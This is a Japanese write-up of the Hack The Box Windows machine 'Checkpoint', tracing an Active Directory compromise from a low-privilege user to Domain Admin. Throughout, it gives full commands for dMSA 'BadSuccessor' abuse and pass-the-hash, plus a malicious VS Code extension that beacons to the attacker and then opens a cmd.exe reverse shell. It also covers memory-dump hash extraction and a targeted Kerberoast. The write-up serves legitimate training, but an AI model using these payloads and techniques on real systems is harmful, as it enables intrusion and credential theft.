コンテンツにスキップ

HTB Checkpoint writeup

Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。

Checkpoint は AD の列挙と権限悪用が中心にありつつ、最後は SMB 共有、VS Code 拡張、VMware snapshot、メモリフォレンジックまで追わせる Windows Medium box だった。

一言でまとめると、alex.turner -> mark.davies -> ryan.brooks -> svc_deploy -> VMBackups -> Administrator という流れ。途中で AD の権限悪用を使うが、root 直前は「バックアップから hash を抜いて使い回しを試す」という泥臭い enum が決め手になった。

ItemValue
BoxCheckpoint
PlatformHack The Box
OSWindows
DifficultyMedium
alex.turner / Checkpoint2024!
|
| LDAP/SMB enumeration
| CREATE_CHILD msDS-DelegatedManagedServiceAccount on OU=Employees
v
BadSuccessor -> mark.davies hash
|
| mark.davies can write DevDrop
v
Malicious VSIX in DevDrop
|
| VS Code loads extension as ryan.brooks
v
ryan.brooks shell
|
| GenericWrite over svc_deploy
v
BadSuccessor -> svc_deploy hash
|
| WinRM + VMBackups READ
v
Download Windows Server 2019-Snapshot1.vmem
|
| Volatility hashdump
v
Local Administrator NTLM hash
|
| Hash reused for CHECKPOINT\Administrator
v
Domain Admin shell -> root.txt
10.129.13.247 DC01.checkpoint.htb checkpoint.htb DC01

/etc/hosts:

10.129.13.247 DC01.checkpoint.htb checkpoint.htb DC01

Nmap は最初に全 port を aggressive scan した。

ターミナルウィンドウ
nmap -sS -A -p- --min-rate 10000 10.129.13.247 > checkpoint.nmap

checkpoint.nmap 全文。

Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-14 04:08 +0900
Nmap scan report for 10.129.13.247
Host is up (0.43s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-14 02:08:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-06-14T02:09:41
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: 6h59m58s
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 373.29 ms 10.10.16.1
2 558.11 ms 10.129.13.247
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.63 seconds

この nmap を眺めた時点で見るべきこと。

  • 53/88/389/445/464/3268/9389 が揃っているので、ほぼ AD DC と見てよい。
  • 389 と 3268 が Domain: checkpoint.htb を返しているので、domain 名と LDAP enum の入口が得られる。
  • 5985 が open なので、有効な認証情報を得たら WinRM を試す価値がある。
  • 636/3269 は ldapssl? / globalcatLDAPssl? だが、後続で TLS handshake が reset される。LDAPS が安定して使える前提にしない。
  • smb2-security-mode で signing required。NTLM relay ではなく、正規 creds / Kerberos / LDAP の方向で考える。
  • clock-skew: 6h59m58s が非常に重要。Kerberos tooling の失敗原因になり、BloodHound/RustHound の動作にも影響する。
  • web は 5985 の WinRM HTTPAPI のみで、通常の Web app 起点ではない。

時刻ズレが約 7 時間あった。

smb2-time date: 2026-06-14T02:09:41
clock-skew: 6h59m58s

Kerberos を使うコマンドでは faketime を使った。

ターミナルウィンドウ
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' <command>

faketime '+7h' は環境によって解釈されなかったため、'+7 hours' を使った。

alex.turner / Checkpoint2024!

SMB。

ターミナルウィンドウ
netexec smb 10.129.13.247 -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' --shares

重要な結果。

DevDrop READ VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
IPC$ READ
NETLOGON READ
SYSVOL READ
VMBackups

alex.turner では DevDrop は READ のみ、VMBackups も使えなかった。

WinRM も不可。

ターミナルウィンドウ
netexec winrm 10.129.13.247 -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!'
[-] checkpoint.htb\alex.turner:Checkpoint2024!

AS-REP roast と通常の Kerberoast は初期段階では空振り。

ターミナルウィンドウ
GetUserSPNs.py checkpoint.htb/alex.turner:'Checkpoint2024!' \
-dc-ip 10.129.13.247 -request -outputfile kerberoast.hashes
GetNPUsers.py checkpoint.htb/alex.turner:'Checkpoint2024!' \
-dc-ip 10.129.13.247 -request -outputfile asrep.hashes
No entries found!

ユーザー、グループ、コンピュータを列挙。

ターミナルウィンドウ
netexec ldap 10.129.13.247 -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' --users --groups --computers

注目ユーザー。

alex.turner
ryan.brooks
svc_deploy Deployment service account
max.palmer

svc_deploy の所属確認。

ターミナルウィンドウ
netexec ldap 10.129.13.247 -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' \
--query "(sAMAccountName=svc_deploy)" \
"sAMAccountName memberOf description userAccountControl"
description Deployment service account
memberOf CN=BackupAccess,OU=ServiceAccounts,DC=checkpoint,DC=htb
CN=Remote Management Users,CN=Builtin,DC=checkpoint,DC=htb
userAccountControl 66048
sAMAccountName svc_deploy

この時点で svc_deploy は非常に本命に見える。Remote Management Users に所属しているため、認証情報を取れれば WinRM できる可能性が高い。BackupAccess は後で VMBackups 共有につながる。

グループ周り。

ターミナルウィンドウ
netexec ldap 10.129.13.247 -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' \
--query "(|(cn=DevTeam)(cn=IT-Staff)(cn=VPN-Users)(cn=Domain Admins)(cn=Group Policy Creator Owners))" \
"cn member"

重要な結果。

DevTeam:
CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
IT-Staff:
CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
VPN-Users:
CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
Domain Admins:
CN=max.palmer,CN=Users,DC=checkpoint,DC=htb
CN=Administrator,CN=Users,DC=checkpoint,DC=htb
Group Policy Creator Owners:
CN=Administrator,CN=Users,DC=checkpoint,DC=htb

max.palmer が Domain Admins であることは最後まで重要なヒントだった。ただし最終的には max.palmer ではなく Administrator の hash reuse で root に到達した。

最初は BloodHound が LDAPS に逃げて失敗した。原因は時刻ズレ。

Failed to get Kerberos TGT ... KRB_AP_ERR_SKEW(Clock skew too great)
LDAP Authentication is refused because LDAP signing is enabled.
Trying to connect over LDAPS instead...
socket ssl wrapping error: [Errno 104] Connection reset by peer

解釈。

  1. Kerberos を使おうとする。
  2. 時刻ズレで失敗。
  3. NTLM LDAP にフォールバック。
  4. LDAP signing 必須のため拒否。
  5. LDAPS に逃げる。
  6. しかし LDAPS / GCSSL が reset されて失敗。

LDAPS を直すのではなく、Kerberos の時刻ズレを合わせるのが正しい対応だった。

RustHound も最初は realm 解決に失敗した。

Cannot find KDC for realm "CHECKPOINT.HTB"

/etc/hosts と Kerberos 設定、faketime 後に収集成功。

ターミナルウィンドウ
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
rusthound-ce -d checkpoint.htb -f DC01.checkpoint.htb \
-u alex.turner@checkpoint.htb -k -z

BloodHound / RustHound で重要だった点。

alex.turner:
OU=Employees に msDS-DelegatedManagedServiceAccount を CREATE_CHILD 可能
ryan.brooks:
svc_deploy に GenericWrite
svc_deploy:
Remote Management Users
BackupAccess
max.palmer:
Domain Admins

ヒントとして AD CS / ESC 系の一般論が出ていたが、実測では死に筋だった。

ターミナルウィンドウ
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
certipy find -k \
-target DC01.checkpoint.htb \
-dc-ip 10.129.13.247 \
-ldap-scheme ldap \
-stdout -vulnerable -debug
[*] Found 0 certificate templates
[*] Found 0 certificate authorities
[*] Found 0 enabled certificate templates
Certificate Authorities : [!] Could not find any CAs
Certificate Templates : [!] Could not find any certificate templates

svc_deploy 取得後にも再確認した。

ターミナルウィンドウ
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
certipy find \
-u svc_deploy@checkpoint.htb \
-hashes :e16081eb077aca74bdbf8af12af43ac9 \
-dc-ip 10.129.13.247 \
-target DC01.checkpoint.htb \
-ldap-scheme ldap \
-stdout -vulnerable
[*] Found 0 certificate templates
[*] Found 0 certificate authorities
Certificate Authorities : [!] Could not find any CAs
Certificate Templates : [!] Could not find any certificate templates

PKINIT 系も失敗。

KDC_ERR_PADATA_TYPE_NOSUPP

winPEAS でも以下だった。

Certificate Authority not found. Skipping.
No templates with dangerous rights found (checked 0).

alex.turner は OU=Employees 配下に dMSA を作成できた。

msDS-DelegatedManagedServiceAccount: CREATE_CHILD

まず mark.davies を対象に BadSuccessor を試した。

ターミナルウィンドウ
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
bloodyAD --host DC01.checkpoint.htb -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' \
add badSuccessor checkpoint-mark \
-t 'CN=mark.davies,OU=Employees,DC=checkpoint,DC=htb' \
--ou 'OU=Employees,DC=checkpoint,DC=htb'

自動取得は KDC_ERR_ETYPE_NOTSUPP で失敗したが、dMSA と対象リンクは作成されていた。

CN=checkpoint-mark,OU=Employees,DC=checkpoint,DC=htb
msDS-SupersededServiceAccountState: 2
msDS-SupersededManagedAccountLink: CN=checkpoint-mark,OU=Employees,DC=checkpoint,DC=htb

手動で badS4U2self を使った。

ターミナルウィンドウ
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
badS4U2self \
'kerberos+pw://checkpoint.htb\alex.turner:Checkpoint2024%21@10.129.13.247/?etype=18&dns=10.129.13.247' \
'krbtgt/checkpoint.htb@checkpoint.htb' \
'checkpoint-mark$@checkpoint.htb' \
--dmsa --ccache checkpoint-mark.ccache -v

得られた key。

dMSA current keys:
AES256: 4c07c662152bbabd0f6fb315a37285090de20b0dfb9f9960973eb896d7520b13
AES128: e2343d27056dbac43b4848097025b2a7
RC4: 24e91eda5448004829cbde8bcde949a7
dMSA previous keys:
RC4: 0b28e49d9deb96f99d74578e214faec2

previous keys の RC4 が mark.davies の NTLM hash として使えた。

ターミナルウィンドウ
netexec smb DC01.checkpoint.htb -d checkpoint.htb \
-u mark.davies -H 0b28e49d9deb96f99d74578e214faec2 --shares

重要な結果。

[+] checkpoint.htb\mark.davies:0b28e49d9deb96f99d74578e214faec2
DevDrop READ,WRITE VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
VMBackups

mark.davies は WinRM 不可、VMBackups も access denied。だが DevDrop に書けるため、次の足掛かりになった。

DevDrop の説明は非常に具体的だった。

VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0

これは .vsix を置けば、誰かの VS Code が読み込む可能性を示している。

最初は callback のみの extension で実行ユーザーを確認した。

package.json:

{
"name": "checkpoint-tools-2",
"displayName": "Checkpoint Tools 2",
"version": "1.0.1",
"publisher": "checkpoint",
"engines": { "vscode": "^1.118.0" },
"activationEvents": ["*", "onStartupFinished"],
"extensionKind": ["workspace"],
"main": "./extension.js",
"categories": ["Other"]
}

extension.js:

const os = require('os');
const http = require('http');
function activate() {
const msg = `host=${os.hostname()} user=${os.userInfo().username} time=${new Date().toISOString()}\n`;
http.get('http://10.10.16.45:8000/vsix?' + encodeURIComponent(msg)).on('error', () => {});
}
function deactivate() {}
module.exports = { activate, deactivate };

package 化。

ターミナルウィンドウ
npx --yes @vscode/vsce package

mark.davies で DevDrop にアップロード。

ターミナルウィンドウ
smbclient //DC01.checkpoint.htb/DevDrop \
-U 'checkpoint.htb/mark.davies%0b28e49d9deb96f99d74578e214faec2' \
--pw-nt-hash -m SMB3 \
-c 'put checkpoint-tools-2-1.0.1.vsix'

HTTP callback。

GET /vsix?host=DC01 user=ryan.brooks time=2026-06-14T06:52:49.154Z

VSIX は ryan.brooks として実行されていた。

次に reverse shell 版へ差し替えた。

const net = require('net');
const cp = require('child_process');
function connect() {
const s = net.connect(4444, '10.10.16.45', () => {
const sh = cp.spawn('cmd.exe', [], {
windowsHide: true,
stdio: ['pipe', 'pipe', 'pipe']
});
s.pipe(sh.stdin);
sh.stdout.pipe(s);
sh.stderr.pipe(s);
sh.on('exit', () => s.end());
});
s.on('error', () => setTimeout(connect, 10000));
s.on('close', () => setTimeout(connect, 10000));
}
function activate() {
connect();
}
function deactivate() {}
module.exports = { activate, deactivate };

listener。

ターミナルウィンドウ
rlwrap -cAr nc -lvnp 4444

ryan.brooks の shell を取得し、user flag を取得。

ターミナルウィンドウ
type C:\Users\ryan.brooks\Desktop\user.txt

ryan.brooks の profile も調査した。

ターミナルウィンドウ
dir "%APPDATA%\Code\User\globalStorage" /s /b
C:\Users\ryan.brooks\AppData\Roaming\Code\User\globalStorage\state.vscdb
C:\Users\ryan.brooks\AppData\Roaming\Code\User\globalStorage\state.vscdb.backup

state.vscdb はロックされていたため、読み取り共有でコピー。

ターミナルウィンドウ
$src=Join-Path $env:APPDATA 'Code\User\globalStorage\state.vscdb'
$dst=Join-Path $env:TEMP 'state.vscdb.copy'
$in=[IO.File]::Open($src,[IO.FileMode]::Open,[IO.FileAccess]::Read,[IO.FileShare]::ReadWrite)
$out=[IO.File]::Open($dst,[IO.FileMode]::Create,[IO.FileAccess]::Write,[IO.FileShare]::None)
$in.CopyTo($out)
$out.Close()
$in.Close()

検索。

ターミナルウィンドウ
$p=Join-Path $env:TEMP 'state.vscdb.copy'
$s=[Text.Encoding]::UTF8.GetString([IO.File]::ReadAllBytes($p))
$s -split '[\x00-\x1f]+' |
? {$_ -match 'svc_deploy|password|passwd|pwd|backup|deploy|secret|token|credential|winrm|vmbackup'} |
select -First 80

ここから有効な資格情報は得られなかった。VS Code 経由は shell 取得までが役割だった。

BloodHound では ryan.brooks が svc_deploy に GenericWrite を持っていた。

alex.turner 単体で svc_deploy に BadSuccessor を実行すると、dMSA 作成までは進むが、svc_deploy 側の属性更新で失敗する。

ターミナルウィンドウ
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
bloodyAD --host DC01.checkpoint.htb -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' \
add badSuccessor checkpoint-svc \
-t 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb' \
--ou 'OU=Employees,DC=checkpoint,DC=htb'
[+] Creating DMSA checkpoint-svc$ in OU=Employees,DC=checkpoint,DC=htb
[+] Impersonating: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
LDAPModifyException: insufficientAccessRights for CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb

dMSA 自体は作成されていた。

ターミナルウィンドウ
netexec ldap DC01.checkpoint.htb -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' \
--query '(sAMAccountName=checkpoint-svc$)' \
'distinguishedName msDS-ManagedAccountPrecededByLink msDS-DelegatedMSAState'
distinguishedName CN=checkpoint-svc,OU=Employees,DC=checkpoint,DC=htb
msDS-DelegatedMSAState 2
msDS-ManagedAccountPrecededByLink CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb

そこで、ryan.brooks の shell から svc_deploy の属性を手動更新した。

ターミナルウィンドウ
$u=[ADSI]'LDAP://CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'
$u.PutEx(2,'msDS-SupersededManagedAccountLink',@('CN=checkpoint-svc,OU=Employees,DC=checkpoint,DC=htb'))
$u.Put('msDS-SupersededServiceAccountState',2)
$u.SetInfo()

確認。

ターミナルウィンドウ
netexec ldap DC01.checkpoint.htb -d checkpoint.htb \
-u alex.turner -p 'Checkpoint2024!' \
--query '(sAMAccountName=svc_deploy)' \
'msDS-SupersededManagedAccountLink msDS-SupersededServiceAccountState'
msDS-SupersededServiceAccountState 2
msDS-SupersededManagedAccountLink CN=checkpoint-svc,OU=Employees,DC=checkpoint,DC=htb

badS4U2self で dMSA の TGS から previous key を取得。

ターミナルウィンドウ
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
badS4U2self \
'kerberos+pw://checkpoint.htb\alex.turner:Checkpoint2024%21@10.129.13.247/?etype=18&dns=10.129.13.247' \
'krbtgt/checkpoint.htb@checkpoint.htb' \
'checkpoint-svc$@checkpoint.htb' \
--dmsa --ccache checkpoint-svc.ccache -v
dMSA current keys:
AES256: 408219f3c004ed32c5da3ea25316c477d0881d0e1ceea397be200fa76639c45c
AES128: c7cbdb50193478a1ebfd3819af93cc03
RC4: 6d094f4755a41b8b08e98f72239d1d77
dMSA previous keys:
RC4: e16081eb077aca74bdbf8af12af43ac9

previous keys の RC4 が svc_deploy の NTLM hash として使えた。

ターミナルウィンドウ
netexec winrm DC01.checkpoint.htb -d checkpoint.htb \
-u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9
[+] checkpoint.htb\svc_deploy:e16081eb077aca74bdbf8af12af43ac9 (Pwn3d!)

WinRM。

ターミナルウィンドウ
uv run evil-winrm-py -i 10.129.13.247 \
-u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9

whoami /all。

checkpoint\svc_deploy
Groups:
BUILTIN\Remote Management Users
CHECKPOINT\BackupAccess
Privileges:
SeMachineAccountPrivilege
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege

BackupAccess という名前だが、SeBackupPrivilege は無い。つまり NTFS を無視して DC のファイルを読むタイプではなく、特定共有へのアクセス権と判断した。

SMB shares。

ターミナルウィンドウ
netexec smb DC01.checkpoint.htb -d checkpoint.htb \
-u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9 --shares
IPC$ READ
NETLOGON READ
SYSVOL READ
VMBackups READ

svc_deploy で VMBackups にアクセス。

ターミナルウィンドウ
smbclient //DC01.checkpoint.htb/VMBackups \
-U 'checkpoint.htb/svc_deploy%e16081eb077aca74bdbf8af12af43ac9' \
--pw-nt-hash -m SMB3
smb: \> ls
NightlyBackup_2024-11-01
smb: \> cd NightlyBackup_2024-11-01
smb: \NightlyBackup_2024-11-01\> ls
memory forensics
smb: \NightlyBackup_2024-11-01\> cd "memory forensics"
smb: \NightlyBackup_2024-11-01\memory forensics\> ls
Windows Server 2019-000001.vmdk 106496000
Windows Server 2019-Snapshot1.vmem 2147483648
Windows Server 2019-Snapshot1.vmsn 138164859
Windows Server 2019.nvram 270840
Windows Server 2019.scoreboard 7642
Windows Server 2019.vmdk 10199695360
Windows Server 2019.vmsd 502
Windows Server 2019.vmx 2749
Windows Server 2019.vmxf 274

memory forensics というディレクトリ名と .vmem が本命。Windows Server 2019.vmdk は 10GB あり、全員に base disk を落とさせる意図には見えにくい。まず .vmem を落とす。

smbclient や evil-winrm の download は大きなファイルで不安定だったため、resume 可能な SMB downloader を使った。

ターミナルウィンドウ
python3 smb_range_get.py \
--target DC01.checkpoint.htb --host 10.129.13.247 \
--domain checkpoint.htb -u svc_deploy \
-H e16081eb077aca74bdbf8af12af43ac9 \
--share VMBackups \
--remote 'NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem' \
--output 'vmbackup/Windows Server 2019-Snapshot1.vmem' \
--chunk 1048576 \
--timeout 600

使用した smb_range_get.py。

#!/usr/bin/env python3
import argparse
import ntpath
import os
import sys
import time
from impacket.smbconnection import SMBConnection
try:
from impacket.smb3structs import (
FILE_ATTRIBUTE_NORMAL,
FILE_NON_DIRECTORY_FILE,
FILE_OPEN,
FILE_READ_DATA,
FILE_SHARE_DELETE,
FILE_SHARE_READ,
FILE_SHARE_WRITE,
)
except ImportError:
FILE_READ_DATA = 0x00000001
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
FILE_SHARE_DELETE = 0x00000004
FILE_NON_DIRECTORY_FILE = 0x00000040
FILE_OPEN = 0x00000001
FILE_ATTRIBUTE_NORMAL = 0x00000080
def parse_hashes(value):
if not value:
return "", ""
if ":" in value:
lmhash, nthash = value.split(":", 1)
return lmhash, nthash
return "aad3b435b51404eeaad3b435b51404ee", value
def connect(args):
conn = SMBConnection(
remoteName=args.target,
remoteHost=args.host or args.target,
sess_port=args.port,
timeout=args.timeout,
)
lmhash, nthash = parse_hashes(args.hashes)
conn.login(args.username, args.password or "", args.domain, lmhash, nthash)
return conn
def remote_size(conn, share, remote_path):
directory = ntpath.dirname(remote_path) or "\\"
basename = ntpath.basename(remote_path)
pattern = ntpath.join(directory, basename)
matches = conn.listPath(share, pattern)
for item in matches:
if item.get_longname().lower() == basename.lower():
return item.get_filesize()
raise FileNotFoundError(remote_path)
def main():
parser = argparse.ArgumentParser(description="Resume-friendly SMB file downloader")
parser.add_argument("--target", required=True, help="SMB server name, e.g. DC01.checkpoint.htb")
parser.add_argument("--host", help="SMB server IP/host if different from --target")
parser.add_argument("--domain", default="", help="Domain name")
parser.add_argument("-u", "--username", required=True)
parser.add_argument("-p", "--password", default="")
parser.add_argument("-H", "--hashes", default="", help="NT hash or LM:NT")
parser.add_argument("--share", required=True)
parser.add_argument("--remote", required=True, help="Remote path inside share")
parser.add_argument("--output", required=True)
parser.add_argument("--chunk", type=int, default=1024 * 1024, help="Read chunk size")
parser.add_argument("--timeout", type=int, default=60)
parser.add_argument("--port", type=int, default=445)
parser.add_argument("--sleep", type=float, default=2.0)
args = parser.parse_args()
remote_path = args.remote.replace("/", "\\").lstrip("\\")
os.makedirs(os.path.dirname(os.path.abspath(args.output)) or ".", exist_ok=True)
conn = connect(args)
size = remote_size(conn, args.share, remote_path)
conn.logoff()
offset = os.path.getsize(args.output) if os.path.exists(args.output) else 0
if offset > size:
raise RuntimeError(f"local file is larger than remote file: {offset} > {size}")
while offset < size:
conn = None
try:
conn = connect(args)
tid = conn.connectTree(args.share)
fid = conn.openFile(
tid,
remote_path,
desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
creationOption=FILE_NON_DIRECTORY_FILE,
creationDisposition=FILE_OPEN,
fileAttributes=FILE_ATTRIBUTE_NORMAL,
)
with open(args.output, "ab") as out:
while offset < size:
want = min(args.chunk, size - offset)
data = conn.readFile(tid, fid, offset, want)
if not data:
raise RuntimeError("empty read")
out.write(data)
offset += len(data)
pct = offset * 100 / size
print(f"\r{offset}/{size} bytes ({pct:.2f}%)", end="", flush=True)
conn.closeFile(tid, fid)
conn.disconnectTree(tid)
conn.logoff()
except KeyboardInterrupt:
print("\nInterrupted", file=sys.stderr)
raise
except Exception as exc:
print(f"\n[!] {type(exc).__name__}: {exc}; retrying from offset {offset}", file=sys.stderr)
try:
if conn:
conn.logoff()
except Exception:
pass
time.sleep(args.sleep)
print()
if __name__ == "__main__":
main()

補足: Windows Server 2019-000001.vmdk は差分 VMDK で、descriptor に親 disk が指定されていた。

parentFileNameHint="Windows Server 2019.vmdk"

base VMDK なしでは disk chain としては扱いづらい。

.vmem に対して Volatility 3 を実行。

ターミナルウィンドウ
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.info
Volatility 3 Framework 2.28.1
Major/Minor 15.17763
NtProductType NtProductServer
SystemTime 2026-05-09 14:08:58+00:00
NtSystemRoot C:\Windows

プロセス確認。

ターミナルウィンドウ
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.pslist |
rg -i 'lsass|winlogon|explorer|powershell|cmd'
winlogon.exe
lsass.exe
explorer.exe

session 確認。

ターミナルウィンドウ
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.sessions

重要な結果。

WORKGROUP/WIN-0DG6SJAEUTA$
WIN-0DG6SJAEUTA/Administrator
1 Console 1304 explorer.exe WIN-0DG6SJAEUTA/Administrator

この .vmem は checkpoint.htb の DC ではなく、WIN-0DG6SJAEUTA という workgroup の Windows Server 2019 VM のメモリだった。Administrator がログオンしている。

registry hives もメモリ上に存在。

ターミナルウィンドウ
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.registry.hivelist
\SystemRoot\System32\Config\SAM
\SystemRoot\System32\Config\SECURITY
\SystemRoot\System32\Config\SYSTEM
\??\C:\Users\Administrator\ntuser.dat

hashdump。

ターミナルウィンドウ
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.hashdump

または新しい plugin 名で:

ターミナルウィンドウ
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.registry.hashdump

結果。

User rid lmhash nthash
Administrator 500 aad3b435b51404eeaad3b435b51404ee f29e9c014295b9b32139b09a2790be3b
Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee 28f8d934dee90b2ec824351cb0844479

cachedump は空だった。

ターミナルウィンドウ
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.cachedump

lsadump は DPAPI_SYSTEM と NL$KM のみで、直接的なドメイン資格情報はなかった。

ターミナルウィンドウ
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.lsadump

重要なのは Administrator の NTLM hash。

f29e9c014295b9b32139b09a2790be3b

これは WIN-0DG6SJAEUTA\Administrator のローカル hash だが、DC 側の CHECKPOINT\Administrator で reuse されていた。

まず SMB で確認。

ターミナルウィンドウ
netexec smb DC01.checkpoint.htb -d checkpoint.htb \
-u Administrator -H f29e9c014295b9b32139b09a2790be3b
[+] checkpoint.htb\Administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)

WinRM も通る。

ターミナルウィンドウ
netexec winrm DC01.checkpoint.htb -d checkpoint.htb \
-u Administrator -H f29e9c014295b9b32139b09a2790be3b
[+] checkpoint.htb\Administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)

Evil-WinRM。

ターミナルウィンドウ
uv run evil-winrm-py -i 10.129.13.247 \
-u Administrator -H f29e9c014295b9b32139b09a2790be3b

C:\Users\Administrator\Desktop は空で、root.txt はなかった。

ターミナルウィンドウ
cd C:\Users\Administrator\Desktop
type root.txt
Cannot find path 'C:\Users\Administrator\Desktop\root.txt' because it does not exist.

念のため identity を確認。

ターミナルウィンドウ
whoami /all
checkpoint\administrator
Groups:
BUILTIN\Administrators
CHECKPOINT\Domain Admins
CHECKPOINT\Schema Admins
CHECKPOINT\Enterprise Admins
Privileges:
SeBackupPrivilege
SeRestorePrivilege
SeDebugPrivilege
SeTakeOwnershipPrivilege
...

Domain Admin 権限は確実にある。flag は別 profile にあった。

ターミナルウィンドウ
Get-ChildItem C:\Users -Force
Administrator
max.palmer
Public
ryan.brooks
svc_deploy

root.txt を検索。

ターミナルウィンドウ
Get-ChildItem C:\Users -Filter root.txt -Recurse -Force -ErrorAction SilentlyContinue |
Select-Object FullName
C:\Users\max.palmer\Desktop\root.txt

取得。

ターミナルウィンドウ
type C:\Users\max.palmer\Desktop\root.txt
[REDACTED]

636 / 3269 は open に見えたが、handshake が reset される。

ターミナルウィンドウ
openssl s_client -connect 10.129.13.247:3269 \
-servername DC01.checkpoint.htb -showcerts </dev/null
no peer certificate available
SSL handshake has read 0 bytes
write:errno=104

BloodHound が LDAPS に逃げて失敗するのは症状であり、根本原因は Kerberos の時刻ズレだった。

Certificate Service DCOM Access や cert 関連の文字列は見えたが、CA / template は存在しなかった。ESC 系は切ってよい。

ryan.brooks から svc_deploy に SPN を付けて Kerberoast も試した。

VSIX から実行したコマンド。

const cmd = 'setspn.exe -S http/checkpoint-vsix svc_deploy';

TGS 取得。

ターミナルウィンドウ
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \
impacket-GetUserSPNs checkpoint.htb/alex.turner:'Checkpoint2024!' \
-dc-ip 10.129.13.247 \
-dc-host DC01.checkpoint.htb \
-request-user svc_deploy \
-outputfile svc_deploy.hash
ServicePrincipalName Name MemberOf
http/checkpoint-vsix svc_deploy CN=BackupAccess,OU=ServiceAccounts,DC=checkpoint,DC=htb

RC4 TGS を得るために msDS-SupportedEncryptionTypes を変更して試したが、rockyou では割れなかった。

ターミナルウィンドウ
$u=[ADSI]'LDAP://CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'
$u.Put('msDS-SupportedEncryptionTypes',4)
$u.SetInfo()
ターミナルウィンドウ
hashcat -m 13100 svc_deploy_rc4.hash /usr/share/wordlists/rockyou.txt
Status...........: Exhausted
Recovered........: 0/1

最終経路ではない。

